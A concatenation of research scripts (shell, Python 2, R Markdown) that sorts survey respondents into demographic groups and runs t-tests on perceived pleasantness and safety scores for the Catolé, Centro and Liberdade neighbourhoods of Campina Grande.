#echo "Agra Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Sol" "Centro Agra Sol" "green">> bairro.dat
#echo "Agra Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Sol" "Centro Agra Sol" "green" >> bairro.dat
#echo "Agra Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Sol" "Liberdade Agra Sol" "green" >> bairro.dat
#grep "catole" temp.dat | grep "seg" > catole.dat
#grep "centro" temp.dat | grep "seg" > centro.dat
#grep "liberdade" temp.dat | grep "seg" > liberdade.dat
#echo "Seg Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Sol" "Centro Seg Sol" "red" >> bairro.dat
#echo "Seg Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Sol" "Centro Seg Sol" "red" >> bairro.dat
#echo "Seg Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Sol" "Liberdade Seg Sol" "red" >> bairro.dat
echo ">>>>>>>>>>>>>> Solteiro" >> bairroAll.dat
python analisaQScorePorBairro.py allSolteiroOrdInter.dat > temp.dat
echo "### Solteiro Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Solteiro Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradSolteiroAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradSolteiroAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradSolteiroAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradSolteiroAll.dat centroAgradSolteiroAll.dat "Catole Agra Sol" "Centro Agra Sol" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradSolteiroAll.dat centroAgradSolteiroAll.dat "Liberdade Agra Sol" "Centro Agra Sol" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradSolteiroAll.dat liberdadeAgradSolteiroAll.dat "Catole Agra Sol" "Liberdade Agra Sol" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegSolteiroAll.dat
grep "centro" temp.dat | grep "seg" > centroSegSolteiroAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegSolteiroAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegSolteiroAll.dat centroSegSolteiroAll.dat "Catole Seg Sol" "Centro Seg Sol" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegSolteiroAll.dat centroSegSolteiroAll.dat "Liberdade Seg Sol" "Centro Seg Sol" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegSolteiroAll.dat liberdadeSegSolteiroAll.dat "Catole Seg Sol" "Liberdade Seg Sol" "red" >> bairroAll.dat
echo ">>>>>>>>>>>>>> Medio" >> bairroAll.dat
python analisaQScorePorBairro.py allMedioOrdInter.dat > temp.dat
echo "### Medio Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Medio Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradMedioAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradMedioAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradMedioAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradMedioAll.dat centroAgradMedioAll.dat "Catole Agra Medio" "Centro Agra Medio" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradMedioAll.dat centroAgradMedioAll.dat "Liberdade Agra Medio" "Centro Agra Medio" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradMedioAll.dat liberdadeAgradMedioAll.dat "Catole Agra Medio" "Liberdade Agra Medio" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegMedioAll.dat
grep "centro" temp.dat | grep "seg" > centroSegMedioAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegMedioAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegMedioAll.dat centroSegMedioAll.dat "Catole Seg Medio" "Centro Seg Medio" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegMedioAll.dat centroSegMedioAll.dat "Liberdade Seg Medio" "Centro Seg Medio" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegMedioAll.dat liberdadeSegMedioAll.dat "Catole Seg Medio" "Liberdade Seg Medio" "red" >> bairroAll.dat
echo ">>>>>>>>>>>>>> Pos" >> bairroAll.dat
python analisaQScorePorBairro.py allPosOrdInter.dat > temp.dat
echo "### Pos Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Pos Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradPosAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradPosAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradPosAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradPosAll.dat centroAgradPosAll.dat "Catole Agra Pos" "Centro Agra Pos" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradPosAll.dat centroAgradPosAll.dat "Liberdade Agra Pos" "Centro Agra Pos" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradPosAll.dat liberdadeAgradPosAll.dat "Catole Agra Pos" "Liberdade Agra Pos" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegPosAll.dat
grep "centro" temp.dat | grep "seg" > centroSegPosAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegPosAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegPosAll.dat centroSegPosAll.dat "Catole Seg Pos" "Centro Seg Pos" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegPosAll.dat centroSegPosAll.dat "Liberdade Seg Pos" "Centro Seg Pos" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegPosAll.dat liberdadeSegPosAll.dat "Catole Seg Pos" "Liberdade Seg Pos" "red" >> bairroAll.dat
#echo ">>>>>>>>>>>>>> Conhece" >> bairro.dat
#python analisaQScorePorBairro.py firsCentroOrdInter.dat > temp.dat
#python analisaQScorePorBairro.py firsCatoleOrdInter.dat >> temp.dat
#python analisaQScorePorBairro.py firsLiberdadeOrdInter.dat >> temp.dat
#grep "catole" temp.dat | grep "agra" > catole.dat
#grep "centro" temp.dat | grep "agra" > centro.dat
#grep "liberdade" temp.dat | grep "agra" > liberdade.dat
#echo "Agra Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Sol" "Centro Agra Sol" "green">> bairro.dat
#echo "Agra Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Sol" "Centro Agra Sol" "green" >> bairro.dat
#echo "Agra Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Sol" "Liberdade Agra Sol" "green" >> bairro.dat
echo ">>>>>>>>>>>>>> Conhece" >> bairroAll.dat
python analisaQScorePorBairro.py allCentroOrdInter.dat > temp.dat
python analisaQScorePorBairro.py allCatoleOrdInter.dat >> temp.dat
python analisaQScorePorBairro.py allLiberdadeOrdInter.dat >> temp.dat
grep "catole" temp.dat | grep "agra" > catoleAgradConheceAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradConheceAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradConheceAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradConheceAll.dat centroAgradConheceAll.dat "Catole Agra Con" "Centro Agra Con" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradConheceAll.dat centroAgradConheceAll.dat "Liberdade Agra Con" "Centro Agra Con" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradConheceAll.dat liberdadeAgradConheceAll.dat "Catole Agra Con" "Liberdade Agra Con" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegConheceAll.dat
grep "centro" temp.dat | grep "seg" > centroSegConheceAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegConheceAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegConheceAll.dat centroSegConheceAll.dat "Catole Seg Con" "Centro Seg Con" "green">> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegConheceAll.dat centroSegConheceAll.dat "Liberdade Seg Con" "Centro Seg Con" "green" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegConheceAll.dat liberdadeSegConheceAll.dat "Catole Seg Con" "Liberdade Seg Con" "green" >> bairroAll.dat
#echo ">>>>>>>>>>>>>> Não Conhece" >> bairro.dat
#python analisaQScorePorBairro.py firsNotCentroOrdInter.dat > temp.dat
#python analisaQScorePorBairro.py firsNotCatoleOrdInter.dat >> temp.dat
#python analisaQScorePorBairro.py firsNotLiberdadeOrdInter.dat >> temp.dat
#grep "catole" temp.dat | grep "agra" > catole.dat
#grep "centro" temp.dat | grep "agra" > centro.dat
#grep "liberdade" temp.dat | grep "agra" > liberdade.dat
#echo "Agra Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Sol" "Centro Agra Sol" "green">> bairro.dat
#echo "Agra Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Sol" "Centro Agra Sol" "green" >> bairro.dat
#echo "Agra Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Sol" "Liberdade Agra Sol" "green" >> bairro.dat
echo ">>>>>>>>>>>>>> Não Conhece" >> bairroAll.dat
python analisaQScorePorBairro.py allNotCentroOrdInter.dat > temp.dat
python analisaQScorePorBairro.py allNotCatoleOrdInter.dat >> temp.dat
python analisaQScorePorBairro.py allNotLiberdadeOrdInter.dat >> temp.dat
grep "catole" temp.dat | grep "agra" > catoleAgradNConheceAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradNConheceAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradNConheceAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradNConheceAll.dat centroAgradNConheceAll.dat "Catole Agra NCon" "Centro Agra NCon" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradNConheceAll.dat centroAgradNConheceAll.dat "Liberdade Agra NCon" "Centro Agra NCon" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradNConheceAll.dat liberdadeAgradNConheceAll.dat "Catole Agra NCon" "Liberdade Agra NCon" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegNConheceAll.dat
grep "centro" temp.dat | grep "seg" > centroSegNConheceAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegNConheceAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegNConheceAll.dat centroSegNConheceAll.dat "Catole Seg NCon" "Centro Seg NCon" "green">> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegNConheceAll.dat centroSegNConheceAll.dat "Liberdade Seg NCon" "Centro Seg NCon" "green" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegNConheceAll.dat liberdadeSegNConheceAll.dat "Catole Seg NCon" "Liberdade Seg NCon" "green" >> bairroAll.dat
mkdir bairros100
rm -f temp.dat
mv bairroAll.dat catole*.dat centro*.dat liberdade*.dat boxplot\ *.pdf norm\ *.pdf bairros100/
<file_sep># coding=utf-8
import sys
from sets import Set
import re
possibleIncomesOld = ["Baixa (at\u00e9 R$ 1.449,99)", "M\u00e9dia Baixa (R$ 1.450 a R$ 2.899,99)", "M\u00e9dia (R$ 2.900 a R$ 7.249,99)", "M\u00e9dia Alta (R$ 7.250 a R$ 14.499,99)", "Alta (R$ 14.500 ou mais)"]
possibleIncomesNew = ["baixa", "media baixa", "media", "media alta", "alta"]
def parseUserData(lines, not_local_ids, manual_gender_ids):
""" Reading user data """
feminine = Set([])
tasks_fem = Set([])
#fSeg = Set([])
masculine = Set([])
tasks_masc = Set([])
#mSeg = Set([])
single = Set([])
tasks_single = Set([])
#sSeg = Set([])
married = Set([])
tasks_married = Set([])
#cSeg = Set([])
low = Set([])
tasks_low = Set([])
high = Set([])
tasks_high = Set([])
young = Set([])
tasks_young = Set([])
old = Set([])
tasks_old = Set([])
highSchool = Set([])
tasks_highSchool = Set([])
posGrad = Set([])
tasks_posgrad = Set([])
centro = Set([])
tasks_centro = Set([])
notCentro = Set([])
tasks_notcentro = Set([])
catole = Set([])
tasks_catole = Set([])
notCatole = Set([])
tasks_notcatole = Set([])
liberdade = Set([])
tasks_liberdade = Set([])
notLiberdade = Set([])
tasks_notliberdade = Set([])
campina = Set([])
tasks_campina = Set([])
notCampina = Set([])
tasks_notcampina = Set([])
cities = []
for line in lines:
data = line.split("|")
userID = int(data[0])
profile = data[1].split("+")
tasksIDAgra = eval(data[2])
tasksIDSeg = eval(data[3])
if len(data[1]) > 0:
#Separating by age
if len(profile[0]) > 0 and profile[0] != "None":
age = int(profile[0].lower())
if age <= 24 and age > 0:
young.add(userID)
tasks_young.update(tasksIDSeg)
tasks_young.update(tasksIDAgra)
#elif age >= 35 and age <= 44:
elif age >= 25:
old.add(userID)
tasks_old.update(tasksIDSeg)
tasks_old.update(tasksIDAgra)
#Separating by sex
#print str(profile)+"\t"+str(len(data[1]))
if len(profile[1]) > 0 and profile[1] != "None":
sex = profile[1].lower()
elif str(userID) in manual_gender_ids:
sex = manual_gender_ids[str(userID)]
if sex[0] == 'f':
feminine.add(userID)
tasks_fem.update(tasksIDSeg)
tasks_fem.update(tasksIDAgra)
elif sex[0] =='m':
masculine.add(userID)
tasks_masc.update(tasksIDSeg)
tasks_masc.update(tasksIDAgra)
#Separating by income
if len(profile[2]) > 0 and profile[2] != "None":
income = profile[2]
if income == possibleIncomesOld[0] or income == possibleIncomesOld[1] or income == possibleIncomesNew[0] or income == possibleIncomesNew[1]:
low.add(userID)
tasks_low.update(tasksIDSeg)
tasks_low.update(tasksIDAgra)
elif income == possibleIncomesOld[2] or income == possibleIncomesOld[3] or income == possibleIncomesNew[2] or income == possibleIncomesNew[3]:
high.add(userID)
tasks_high.update(tasksIDSeg)
tasks_high.update(tasksIDAgra)
#Separating by education degree
if len(profile[3]) > 0 and profile[3] != "None":
education = profile[3]
if education[0].lower() == 'e':
highSchool.add(userID)
tasks_highSchool.update(tasksIDSeg)
tasks_highSchool.update(tasksIDAgra)
elif education[0].lower == 'm' or education[0].lower() == 'd':
posGrad.add(userID)
tasks_posgrad.update(tasksIDSeg)
tasks_posgrad.update(tasksIDAgra)
#Separating by being from Campina Grande or not
if len(profile[4]) > 0 and profile[4] != "None":
city = profile[4]
city = re.sub(r'\s{2,}', " ", city)#Replacing 2 or more spaces that are together with a single space
cities.append(city.strip(" \n"))
knowcampina = profile[8].lower()
howknowcampina = profile[9].lower()
if (city.lower().find("campina grande") > -1 and city.lower().find("sul") == -1) or (str(userID) in not_local_ids):#City is exactly Campina Grande and not Campina Grande do Sul - PR
campina.add(userID)
tasks_campina.update(tasksIDSeg)
tasks_campina.update(tasksIDAgra)
else:
if len(knowcampina) > 0 and len(howknowcampina) > 0 and "yes" in knowcampina and ("live" in howknowcampina or "study" in howknowcampina or "work" in howknowcampina):
campina.add(userID)
tasks_campina.update(tasksIDSeg)
tasks_campina.update(tasksIDAgra)
else:
notCampina.add(userID)
tasks_notcampina.update(tasksIDSeg)
tasks_notcampina.update(tasksIDAgra)
#Separating by relationship
if len(profile[6]) > 0 and profile[6] != "None":
rel = profile[6].lower()
if rel[0] == 's':
single.add(userID)
tasks_single.update(tasksIDSeg)
tasks_single.update(tasksIDAgra)
elif rel[0] == 'c':
married.add(userID)
tasks_married.update(tasksIDSeg)
tasks_married.update(tasksIDAgra)
#Separating by known places
if len(profile[7]) > 0 and profile[7] != "None":
places = profile[7].lower()
if len(places) > 0:
if "cen" in places.strip():
centro.add(userID)
tasks_centro.update(tasksIDSeg)
tasks_centro.update(tasksIDAgra)
else:
notCentro.add(userID)
tasks_notcentro.update(tasksIDSeg)
tasks_notcentro.update(tasksIDAgra)
if "lib" in places.strip():
liberdade.add(userID)
tasks_liberdade.update(tasksIDSeg)
tasks_liberdade.update(tasksIDAgra)
else:
notLiberdade.add(userID)
tasks_notliberdade.update(tasksIDSeg)
tasks_notliberdade.update(tasksIDAgra)
if "cat" in places.strip():
catole.add(userID)
tasks_catole.update(tasksIDSeg)
tasks_catole.update(tasksIDAgra)
else:
notCatole.add(userID)
tasks_notcatole.update(tasksIDSeg)
tasks_notcatole.update(tasksIDAgra)
cities_file = open("cities.dat", "w")
for city in cities:
cities_file.write(str(city)+"\n")
cities_file.close()
single_file = open("solteiro.dat", "w")
#single_file.write(str(list(tasks_single.intersection(tasks_married)))+"\n")
single_file.write("[]\n")
for userID in single:
single_file.write(str(userID)+"\n")#FIXME: add tasksID
single_file.close()
married_file = open("casado.dat", "w")
#married_file.write(str(list(tasks_single.intersection(tasks_married)))+"\n")
married_file.write("[]\n")
for userID in married:
married_file.write(str(userID)+"\n")
married_file.close()
fem_file = open("feminino.dat", "w")
#fem_file.write(str(list(tasks_fem.intersection(tasks_masc)))+"\n")
fem_file.write("[]\n")
for userID in feminine:
fem_file.write(str(userID)+"\n")
fem_file.close()
mas_file = open("masculino.dat", "w")
#mas_file.write(str(list(tasks_fem.intersection(tasks_masc)))+"\n")
mas_file.write("[]\n")
for userID in masculine:
mas_file.write(str(userID)+"\n")
mas_file.close()
young_file = open("jovem.dat", "w")
# young_file.write(str(list(tasks_young.intersection(tasks_old)))+"\n")
young_file.write("\n")
for userID in young:
young_file.write(str(userID)+"\n")
young_file.close()
old_file = open("adulto.dat", "w")
# old_file.write(str(list(tasks_young.intersection(tasks_old)))+"\n")
old_file.write("[]\n")
for userID in old:
old_file.write(str(userID)+"\n")
old_file.close()
low_file = open("baixa.dat", "w")
#low_file.write(str(list(tasks_low.intersection(tasks_high)))+"\n")
low_file.write("[]\n")
for userID in low:
low_file.write(str(userID)+"\n")
low_file.close()
high_file = open("media.dat", "w")
# high_file.write(str(list(tasks_low.intersection(tasks_high)))+"\n")
high_file.write("[]\n")
for userID in high:
high_file.write(str(userID)+"\n")
high_file.close()
high_school_file = open("medio.dat", "w")
# high_school_file.write(str(list(tasks_highSchool.intersection(tasks_posgrad)))+"\n")
high_school_file.write("[]\n")
for userID in highSchool:
high_school_file.write(str(userID)+"\n")
high_school_file.close()
pos_grad_file = open("posgrad.dat", "w")
# pos_grad_file.write(str(list(tasks_highSchool.intersection(tasks_posgrad)))+"\n")
pos_grad_file.write("[]\n")
for userID in high:
pos_grad_file.write(str(userID)+"\n")
pos_grad_file.close()
campina_file = open("campina.dat", "w")
campina_file.write("[]\n")
for userID in campina:
campina_file.write(str(userID)+"\n")
campina_file.close()
notcampina_file = open("notcampina.dat", "w")
notcampina_file.write("[]\n")
for userID in notCampina:
notcampina_file.write(str(userID)+"\n")
notcampina_file.close()
centro_file = open("centro.dat", "w")
centro_file.write("[]\n")
for userID in centro:
centro_file.write(str(userID)+"\n")
centro_file.close()
notcentro_file = open("notcentro.dat", "w")
notcentro_file.write("[]\n")
for userID in notCentro:
notcentro_file.write(str(userID)+"\n")
notcentro_file.close()
liberdade_file = open("liberdade.dat", "w")
liberdade_file.write("[]\n")
for userID in liberdade:
liberdade_file.write(str(userID)+"\n")
liberdade_file.close()
notliberdade_file = open("notliberdade.dat", "w")
notliberdade_file.write("[]\n")
for userID in notLiberdade:
notliberdade_file.write(str(userID)+"\n")
notliberdade_file.close()
catole_file = open("catole.dat", "w")
catole_file.write("[]\n")
for userID in catole:
catole_file.write(str(userID)+"\n")
catole_file.close()
notcatole_file = open("notcatole.dat", "w")
notcatole_file.write("[]\n")
for userID in notCatole:
notcatole_file.write(str(userID)+"\n")
notcatole_file.close()
def createOneFileWithAllProfiledUsers(inputFiles):
usersWithProfile = Set([])
for userFile in inputFiles:
dataFile = open(userFile, 'r')
lines = dataFile.readlines()[1:]#Removing tasks list in the beginning of the file
for line in lines:
usersWithProfile.add(line.strip(" \n"))
usersWithProfileFile = open("usersWProfile.dat", "w")
usersWithProfileFile.write("[]\n")
for userID in usersWithProfile:
usersWithProfileFile.write(str(userID)+"\n")
if __name__ == "__main__":
if len(sys.argv) < 4:
print "Uso: separa <arquivo com ids dos usuarios, das tarefas e perfis dos usuarios> <lista de usuários marcados como não locais sendo locais> <lista de usuários com sexo> ou mix <serie de arquivos com ids de usuarios>"
sys.exit(1)
mode = sys.argv[1]
if mode.lower() == "separa": #Parse input file with ids, tasks and profiles to separte per group!
dataFile = open(sys.argv[2], 'r')
lines = dataFile.readlines()
dataFile.close()
not_local_ids_file = open(sys.argv[3], 'r')
not_local_ids = []
for id in not_local_ids_file.readlines():
not_local_ids.append(id.strip(" \n"))
not_local_ids_file.close()
manual_gender_ids_file = open(sys.argv[4], 'r')
manual_gender_ids = {}
for id in manual_gender_ids_file.readlines():
data = id.strip(" \n").split(":")
manual_gender_ids[data[0]] = data[1].lower()
manual_gender_ids_file.close()
usersTasks = parseUserData(lines, not_local_ids, manual_gender_ids)
else: #Mix files with users ids into only one file
createOneFileWithAllProfiledUsers(sys.argv[2:])
<file_sep>---
title: "Análise Comparativa (TTests) Bairros - Conhece x Não Conhece"
output: pdf_document
---
##Pos Agradável
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
library(ggplot2)
source('calculaTTest.R')
catole <- "bairros100/catoleAgradPosAll.dat"
centro <- "bairros100/centroAgradPosAll.dat"
liberdade <- "bairros100/liberdadeAgradPosAll.dat"
color <- "green"
output1 <- "Catole Agrad Pos"
output2 <- "Centro Agrad Pos"
output3 <- "Liberdade Agrad Pos"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Pos Segurança
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
catole <- "bairros100/catoleSegPosAll.dat"
centro <- "bairros100/centroSegPosAll.dat"
liberdade <- "bairros100/liberdadeSegPosAll.dat"
color <- "green"
output1 <- "Catole Seg Pos"
output2 <- "Centro Seg Pos"
output3 <- "Liberdade Seg Pos"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Conhece Agradável
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
catole <- "bairros100/catoleAgradConheceAll.dat"
centro <- "bairros100/centroAgradConheceAll.dat"
liberdade <- "bairros100/liberdadeAgradConheceAll.dat"
color <- "green"
output1 <- "Catole Agrad Conhece"
output2 <- "Centro Agrad Conhece"
output3 <- "Liberdade Agrad Conhece"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Conhece Segurança
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
source('calculaTTest.R')
catole <- "bairros100/catoleSegConheceAll.dat"
centro <- "bairros100/centroSegConheceAll.dat"
liberdade <- "bairros100/liberdadeSegConheceAll.dat"
color <- "green"
output1 <- "Catole Seg Conhece"
output2 <- "Centro Seg Conhece"
output3 <- "Liberdade Seg Conhece"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Não Conhece Agradável
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
catole <- "bairros100/catoleAgradNConheceAll.dat"
centro <- "bairros100/centroAgradNConheceAll.dat"
liberdade <- "bairros100/liberdadeAgradNConheceAll.dat"
color <- "green"
output1 <- "Catole Agrad NConhece"
output2 <- "Centro Agrad NConhece"
output3 <- "Liberdade Agrad NConhece"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
